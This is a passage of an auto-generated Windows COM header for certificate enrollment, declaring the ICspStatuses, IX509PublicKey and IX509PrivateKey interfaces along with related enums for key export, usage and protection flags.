get_ItemByProvider( \n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatuses * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatuses * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatuses * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatuses * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspStatuses * This);\n        \n        /* [helpstring][custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOrdinal )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOperations )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByProvider )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspStatusesVtbl;\n\n    interface ICspStatuses\n    {\n        CONST_VTBL struct ICspStatusesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatuses_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatuses_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatuses_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatuses_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatuses_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatuses_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatuses_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatuses_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspStatuses_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspStatuses_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspStatuses_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspStatuses_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspStatuses_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspStatuses_get_ItemByName(This,strCspName,strAlgorithmName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strCspName,strAlgorithmName,ppValue) ) \n\n#define ICspStatuses_get_ItemByOrdinal(This,Ordinal,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOrdinal(This,Ordinal,ppValue) ) \n\n#define ICspStatuses_get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue) ) \n\n#define ICspStatuses_get_ItemByProvider(This,pCspStatus,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByProvider(This,pCspStatus,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatuses_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0012 */\n/* [local] */ \n\ntypedef \nenum KeyIdentifierHashAlgorithm\n    {\n        SKIHashDefault\t= 0,\n        SKIHashSha1\t= 1,\n        SKIHashCapiSha1\t= 2,\n        SKIHashSha256\t= 3,\n        SKIHashHPKP\t= 5\n    } \tKeyIdentifierHashAlgorithm;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_s_ifspec;\n\n#ifndef __IX509PublicKey_INTERFACE_DEFINED__\n#define __IX509PublicKey_INTERFACE_DEFINED__\n\n/* interface IX509PublicKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PublicKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PublicKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromEncodedPublicKeyInfo( \n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedKey( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeKeyIdentifier( \n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PublicKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PublicKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PublicKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PublicKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PublicKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromEncodedPublicKeyInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedKey )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedParameters )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeKeyIdentifier )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509PublicKeyVtbl;\n\n    interface IX509PublicKey\n    {\n        CONST_VTBL struct IX509PublicKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PublicKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PublicKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PublicKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PublicKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PublicKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PublicKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PublicKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PublicKey_Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding) ) \n\n#define IX509PublicKey_InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding) ) \n\n#define IX509PublicKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PublicKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PublicKey_get_EncodedKey(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedKey(This,Encoding,pValue) ) \n\n#define IX509PublicKey_get_EncodedParameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedParameters(This,Encoding,pValue) ) \n\n#define IX509PublicKey_ComputeKeyIdentifier(This,Algorithm,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> ComputeKeyIdentifier(This,Algorithm,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PublicKey_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0013 */\n/* [local] */ \n\ntypedef \nenum X509PrivateKeyExportFlags\n    {\n        XCN_NCRYPT_ALLOW_EXPORT_NONE\t= 0,\n        XCN_NCRYPT_ALLOW_EXPORT_FLAG\t= 0x1,\n        XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG\t= 0x2,\n        XCN_NCRYPT_ALLOW_ARCHIVING_FLAG\t= 0x4,\n        XCN_NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG\t= 0x8\n    } \tX509PrivateKeyExportFlags;\n\ntypedef \nenum X509PrivateKeyUsageFlags\n    {\n        XCN_NCRYPT_ALLOW_USAGES_NONE\t= 0,\n        XCN_NCRYPT_ALLOW_DECRYPT_FLAG\t= 0x1,\n        XCN_NCRYPT_ALLOW_SIGNING_FLAG\t= 0x2,\n        XCN_NCRYPT_ALLOW_KEY_AGREEMENT_FLAG\t= 0x4,\n        XCN_NCRYPT_ALLOW_ALL_USAGES\t= 0xffffff\n    } \tX509PrivateKeyUsageFlags;\n\ntypedef \nenum X509PrivateKeyProtection\n    {\n        XCN_NCRYPT_UI_NO_PROTECTION_FLAG\t= 0,\n        XCN_NCRYPT_UI_PROTECT_KEY_FLAG\t= 0x1,\n        XCN_NCRYPT_UI_FORCE_HIGH_PROTECTION_FLAG\t= 0x2,\n        XCN_NCRYPT_UI_FINGERPRINT_PROTECTION_FLAG\t= 0x4,\n        XCN_NCRYPT_UI_APPCONTAINER_ACCESS_MEDIUM_FLAG\t= 0x8\n    } \tX509PrivateKeyProtection;\n\ntypedef \nenum X509PrivateKeyVerify\n    {\n        VerifyNone\t= 0,\n        VerifySilent\t= 1,\n        VerifySmartCardNone\t= 2,\n        VerifySmartCardSilent\t= 3,\n        VerifyAllowUI\t= 4\n    } \tX509PrivateKeyVerify;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0013_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0013_v0_0_s_ifspec;\n\n#ifndef __IX509PrivateKey_INTERFACE_DEFINED__\n#define __IX509PrivateKey_INTERFACE_DEFINED__\n\n/* interface IX509PrivateKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PrivateKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PrivateKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Open( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Create( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Close( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Delete( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Verify( \n            /* [in] */ X509PrivateKeyVerify VerifyType) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Import( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ExportPublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ContainerName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReaderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ReaderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspStatus( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspStatus( \n            /* [in] */ __RPC__in_opt ICspStatus *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderType( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderType( \n            /* [in] */ X509ProviderType Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_LegacyCsp( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Algorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeySpec( \n            /* [in] */ X509KeySpec Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Length( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ExportPolicy( \n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ExportPolicy( \n            /* [in] */ X509PrivateKeyExportFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyUsage( \n            /* [in] */ X509PrivateKeyUsageFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyProtection( \n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyProtection( \n            /* [in] */ X509PrivateKeyProtection Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MachineContext( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_MachineContext( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SecurityDescriptor( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SecurityDescriptor( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UniqueContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Opened( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DefaultContainer( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Existing( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Existing( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Description( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PrivateKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PrivateKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PrivateKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( 